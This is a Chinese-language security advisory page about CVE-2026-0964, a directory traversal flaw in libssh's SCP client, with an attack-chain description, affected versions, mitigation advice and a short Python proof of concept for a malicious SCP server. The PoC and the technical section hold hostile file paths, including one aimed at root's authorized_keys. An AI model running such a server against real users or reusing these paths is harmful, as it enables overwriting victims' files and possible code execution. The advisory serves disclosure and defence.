IPBUF安全漏洞报告
English
CVE-2026-0964 CVSS 6.3 中危

CVE-2026-0964 libssh客户端目录遍历漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-0964
漏洞类型
目录遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libssh

相关标签

目录遍历libsshSCPCVE-2026-0964文件覆盖

漏洞概述

CVE-2026-0964是libssh库中存在的一个安全漏洞,主要影响使用该库作为SCP客户端的应用程序。该问题的根源在于SCP客户端未能正确验证服务器发送的文件路径。攻击者可以通过构建恶意的SCP服务器,诱导受害者连接并尝试下载文件。在此过程中,恶意服务器能够发送包含特殊字符或绝对路径的文件名,从而绕过目录限制。这可能导致客户端在工作目录之外的位置被覆盖或写入文件,进而可能被用于创建恶意可执行文件或篡改配置,对系统安全构成威胁。

技术细节

该漏洞利用了SCP协议实现中的路径验证缺失。当libssh客户端发起SCP下载请求时,它会解析服务器返回的文件名以确定本地存储位置。由于缺乏严格的路径规范化和边界检查,恶意服务器可以响应包含“../”序列或以根目录“/”开头的路径。例如,服务器可以指示客户端将文件写入`/tmp/malicious.sh`或`../../../../root/.ssh/authorized_keys`。尽管CVSS指标中要求用户交互(UI:R),但这通常在用户执行scp命令时自然满足。成功利用该漏洞后,攻击者可以覆盖关键系统文件或用户配置文件,结合后续的社会工程学诱导执行,可能导致权限提升或远程代码执行。此漏洞与OpenSSH中的CVE-2019-6111原理相同。

攻击链分析

STEP 1
步骤1:环境搭建
攻击者搭建一个恶意的SCP服务器,该服务器经过特殊配置,能够响应非标准的文件路径。
STEP 2
步骤2:诱导连接
攻击者诱骗受害者使用存在漏洞的libssh客户端版本连接到该恶意服务器并执行文件下载操作。
STEP 3
步骤3:发送恶意路径
当客户端请求数据时,恶意服务器返回包含目录遍历字符(如../)或绝对路径的文件名。
STEP 4
步骤4:写入文件
受影响的客户端未对路径进行校验,直接将接收到的数据写入到指定路径,覆盖系统敏感文件。
STEP 5
步骤5:执行利用
攻击者利用被覆盖的配置文件或可执行文件,在受害者系统上执行任意代码或获取权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import threading # Simple PoC to simulate a malicious SCP server exploiting CVE-2026-0964 # It sends a malicious path to overwrite a file outside the working directory. def handle_client(client_socket): try: # Initial SCP protocol interaction (simplified) client_socket.send(b"\x00") # Sink stream # Send command to write to a file outside CWD (e.g., /tmp/pwned.txt) # C0644 indicates permissions and size, followed by the path malicious_path = b"/tmp/pwned.txt" command = b"C0644 10 " + malicious_path + b"\n" client_socket.send(command) # Send file content client_socket.send(b"VULNERABLE") # End of file client_socket.send(b"\x00") except Exception as e: print(f"Error: {e}") finally: client_socket.close() def start_server(host='0.0.0.0', port=22): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(5) print(f"[+] Malicious SCP server listening on {port}...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() if __name__ == "__main__": start_server()

影响范围

libssh < 0.11.4
libssh < 0.12.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制使用受影响的libssh客户端连接到内部网络以外的服务器。建议在防火墙层面阻断不必要的SCP出站连接。此外,用户应避免在拥有高权限的账户下使用SCP命令从不可信源下载文件,以减少文件覆盖带来的安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表